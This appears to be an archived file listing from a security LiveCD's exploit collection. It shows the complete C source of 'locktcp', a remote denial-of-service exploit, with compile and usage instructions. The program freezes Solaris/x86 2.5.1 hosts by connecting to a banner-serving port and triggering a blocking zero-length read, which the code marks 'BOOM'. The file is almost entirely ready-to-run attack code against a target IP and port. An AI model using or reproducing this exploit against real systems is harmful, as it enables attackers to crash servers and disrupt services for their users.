home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
system
/
solaris
/
remote
/
locktcp.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
3KB
|
95 lines
/*
* The following is rather ripped from Pine 3.95, and condensed.
* It should easily freeze a Solaris/x86 2.5.1 system, though may have to
* be run more than once to produce the problem.
*
* Compile with: [g]cc -o locktcp locktcp.c -lsocket -lnsl
*
* Throw this at your favorite dotted decimal IP and port of some server
* (not on the local host) that throws up a banner message. i.e. IMAP,
* POP3, FTP, etc. The program doesn't seem to hang the system on
* services that don't throw a banner (like HTTP).
*
* Usage: locktcp ip-addr port
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv)
{
int i,sock,flgs;
char *s;
struct sockaddr_in sin;
fd_set fds;
char tmp[4096];
char *host;
long port;
if (argc != 3)
{
fprintf(stderr, "Usage: %s ip-addr port\n", argv[0]);
return 1;
}
host = argv[1];
port = atol(argv[2]);
/**** Set up address and open socket ****/
sin.sin_port = htons (port);
sin.sin_addr.s_addr = inet_addr (host);
sin.sin_family = AF_INET; /* family is always Internet */
if ((sock = socket (sin.sin_family,SOCK_STREAM,IPPROTO_IP)) < 0)
{
fprintf (stderr,"Unable to create TCP socket: %s\n",strerror (errno));
return 0;
}
/**** Set to non-blocking ****/
flgs = fcntl (sock,F_GETFL,0);/* get current socket flags */
fcntl (sock,F_SETFL,flgs | O_NDELAY);
/**** Connect to host ****/
while ((i = connect (sock,(struct sockaddr *) &sin,sizeof (sin))) < 0 &&
errno == EINTR);
if (i < 0) switch (errno)
{ /* failed? */
case EINPROGRESS:
case EISCONN:
case EADDRINUSE:
break; /* well, not really, it was interrupted */
default:
fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
strerror (errno));
close (sock); /* flush socket */
return 0;
}
/**** Do blocking select on nonblocking socket ****/
FD_ZERO (&fds); /* initialize selection vector */
FD_SET (sock,&fds); /* block for writeable */
while (((i = select (sock+1,NULL,&fds,NULL,NULL)) < 0) &&
(errno == EINTR));
/**** Set back to blocking socket ****/
if (i > 0)
{ /* success, make sure really connected */
fcntl (sock,F_SETFL,flgs); /* restore blocking status */
/* get socket status */
while ((i = read (sock,tmp,0)) < 0 && errno == EINTR); /*** XXX--BOOM ***/
if (!i) i = 1; /* make success if the read is OK */
}
if (i <= 0)
{ /* timeout or error? */
fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
strerror (i ? errno : ETIMEDOUT));
close (sock); /* flush socket */
}
return 0;
}
/* www.hack.co.za [2000]*/